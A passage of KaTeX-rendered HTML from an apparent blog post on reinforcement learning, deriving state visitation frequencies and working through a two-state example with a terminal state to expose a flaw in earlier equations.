op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:0.000024999999999497646em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord cancel-lap"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0500050000000003em;"><span style="top:-4.30001em;"><span class="pstrut" style="height:4.30001em;"></span><span class="mord cancel-pad"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span class="svg-align" style="top:-3.0500050000000005em;"><span class="pstrut" style="height:4.30001em;"></span><span style="height:2.3000100000000003em;"><svg width="100%" height="2.3000100000000003em"><line x1="0" y1="0" x2="100%" y2="100%" stroke-width="0.046em"></line><line x1="0" y1="100%" x2="100%" y2="0" stroke-width="0.046em"></line></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span></span></span><span style="top:2.6000349999999997em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:7.90004em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.800030000000001em;"><span style="top:-8.500025em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⟺</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span></span><span style="top:-5.20002em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⟺</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.10000999999999927em;"><span></span></span></span></span></span></span></span></span></span></span></span></div>
<p><strong>Wat.</strong>
Can you spot the problem with the previous equations? Try to figure it out or
keep reading to know the answer.</p>
<h2 id="the-problem">The problem<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-problem"><span class="icon icon-link"></span></a></h2>
<p>To see what is going on, let us take a very simple problem, with two states,
<span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">A</span></span></span></span></span> and <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span>, where the latter is terminal. Starting from <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">A</span></span></span></span></span>, under <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup></mrow><annotation encoding="application/x-tex">p^\pi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.858832em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span></span></span></span></span>,
we stay in <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">A</span></span></span></span></span> with probability <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span></span></span>, and move to <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> with probability
<span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">1-\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span></span></span>.</p>
<p>Note that the number of timesteps <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span></span> of an episode is not fixed, because the
problem is not deterministic, but it is finite, because we are always going
to reach <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> at some point.</p>


<p>Let us assume that all episodes start in <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">A</span></span></span></span></span> and compute <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi></mrow><annotation encoding="application/x-tex">\eta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span></span></span></span></span> for each state:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>A</mi><mi mathvariant="normal">∣</mi><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>A</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mi>α</mi><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mn>0</mn><mtext>  </mtext><mo>⟺</mo><mtext>  </mtext></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>A</mi><mo stretchy="false">)</mo><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>0</mn><mo>+</mo><mfrac><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow></mfrac><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mn>1</mn><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mtext>  </mtext><mo>⟺</mo><mtext>  </mtext></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned} \eta(A) &#x26;= h(A) + \eta(A)p^\pi(A|A) + \eta(B)p^\pi(A|B) \\ &#x26;= 1 + \eta(A)\alpha + \eta(B)0 \iff \\ \eta(A) &#x26;= \frac{1}{1-\alpha} \\ \eta(B) &#x26;= h(B) + \eta(A)p^\pi(B|A) + \eta(B)p^\pi(B|B) \\ &#x26;= 0 + \frac{1-\alpha}{1-\alpha} + \eta(B)p^\pi(B|B) \\ &#x26;= 1 + \eta(B)p^\pi(B|B) \iff \\ \eta(B) &#x26;= \frac{1}{1-p^\pi(B|B)} \end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:13.338980000000003em;vertical-align:-6.4194900000000015em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9194900000000015em;"><span style="top:-9.400930000000002em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span></span></span><span style="top:-7.900930000000002em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"></span></span><span style="top:-5.919490000000001em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span></span></span><span style="top:-4.010160000000001em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-2.0287200000000007em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"></span></span><span style="top:-0.11939000000000011em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"></span></span><span style="top:1.8620500000000013em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4194900000000015em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9194900000000015em;"><span style="top:-9.400930000000002em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mord">∣</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-7.900930000000002em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⟺</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span></span><span style="top:-5.919490000000001em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693300000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-4.010160000000001em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord"><span class="mord 